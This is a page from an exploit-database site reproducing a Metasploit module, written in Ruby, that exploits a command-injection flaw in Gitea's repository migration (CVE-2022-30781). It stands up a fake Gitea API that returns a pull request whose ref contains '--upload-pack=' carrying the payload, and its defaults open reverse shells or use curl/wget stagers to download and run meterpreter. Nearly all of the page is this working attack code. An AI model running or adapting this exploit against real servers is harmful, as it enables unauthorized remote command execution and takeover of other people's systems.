Gitea Git Fetch Remote Code Execution

2022.11.18
Credit: krastanoel
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Gitea include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Gitea Git Fetch Remote Code Execution', 'Description' => %q{ This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affect Gitea before 1.16.7 version. }, 'Author' => [ 'wuhan005', # Original PoC 'li4n0', # Original PoC 'krastanoel' # MSF Module ], 'References' => [ ['CVE', '2022-30781'], ['URL', 'https://tttang.com/archive/1607/'] ], 'DisclosureDate' => '2022-05-16', 'License' => MSF_LICENSE, 'Platform' => %w[unix linux win], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => %i[curl wget echo printf], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'CmdStagerFlavor' => [ 'psh_invokewebrequest' ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'CMDSTAGER::URIPATH' => '/payloads' } } ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) register_options([ Opt::RPORT(3000), OptString.new('USERNAME', [true, 'Username to authenticate with']), OptString.new('PASSWORD', [true, 'Password to use']), OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']), ]) end def cleanup super return if @uid.nil? || @migrate_repo_created.nil? [@repo_name, @migrate_repo_name].each do |name| res = gitea_remove_repo(repo_path(name)) if res.nil? || res&.code == 200 vprint_warning("Unable to remove repository '#{name}'") elsif res&.code == 404 vprint_warning("Repository '#{name}' not found, possibly already deleted") else vprint_status("Successfully cleanup repository '#{name}'") end end end def check return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank? v = get_gitea_version gitea_login(datastore['username'], datastore['password']) if Rex::Version.new(v) <= Rex::Version.new('1.16.6') return CheckCode::Appears("Version detected: #{v}") end CheckCode::Safe("Version detected: #{v}") rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e return CheckCode::Unknown(e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e return CheckCode::Detected(e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError, Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e return CheckCode::Safe(e.message) end def primer [ '/api/v1/version', '/api/v1/settings/api', "/api/v1/repos/#{@migrate_repo_path}", "/api/v1/repos/#{@migrate_repo_path}/pulls", "/api/v1/repos/#{@migrate_repo_path}/topics" ].each { |uri| hardcoded_uripath(uri) } # adding resources end def execute_command(cmd, _opts = {}) if target['Type'] == :win_dropper # Git on Windows will pass the command to `sh.exe` and not `cmd`. # This requires some adjustments: # - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR` # - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`. # - Backslashes need to be escaped with `sh.exe` cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' } end vprint_status("Executing command: #{cmd}") @repo_name = rand_text_alphanumeric(6..15) @migrate_repo_name = rand_text_alphanumeric(6..15) @migrate_repo_path = repo_path(@migrate_repo_name) vprint_status("Creating repository \"#{@repo_name}\"") @uid = gitea_create_repo(@repo_name) vprint_good('Repository created') vprint_status('Migrating repository') clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" auth_token = rand_text_alphanumeric(6..15) @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token) @p = cmd rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError, Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError, Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e fail_with(Failure::UnexpectedReply, e.message) end def exploit unless datastore['AutoCheck'] fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank? gitea_login(datastore['username'], datastore['password']) end start_service primer case target['Type'] when :unix_cmd, :win_cmd execute_command(payload.encoded) when :linux_dropper, :win_dropper datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}" execute_cmdstager(background: true, delay: 1) end rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e fail_with(Failure::UnexpectedReply, e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e fail_with(Failure::NoAccess, e.message) end def repo_path(name) "#{datastore['username']}/#{name}" end def on_request_uri(cli, req) case req.uri when '/api/v1/version' send_response(cli, '{"version": "1.16.6"}') when '/api/v1/settings/api' data = { max_response_items: 50, default_paging_num: 30, default_git_trees_per_page: 1000, default_max_blob_size: 10485760 } send_response(cli, data.to_json) when "/api/v1/repos/#{@migrate_repo_path}" data = { clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}", owner: { login: datastore['username'] } } send_response(cli, data.to_json) when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1" send_response(cli, '{"topics":[]}') when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all" data = [ { base: { ref: 'master' }, head: { ref: "--upload-pack=#{@p}", repo: { clone_url: './', owner: { login: 'master' } } }, updated_at: '2001-01-01T05:00:00+01:00', user: {} } ] send_response(cli, data.to_json) when datastore['CMDSTAGER::URIPATH'] super end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top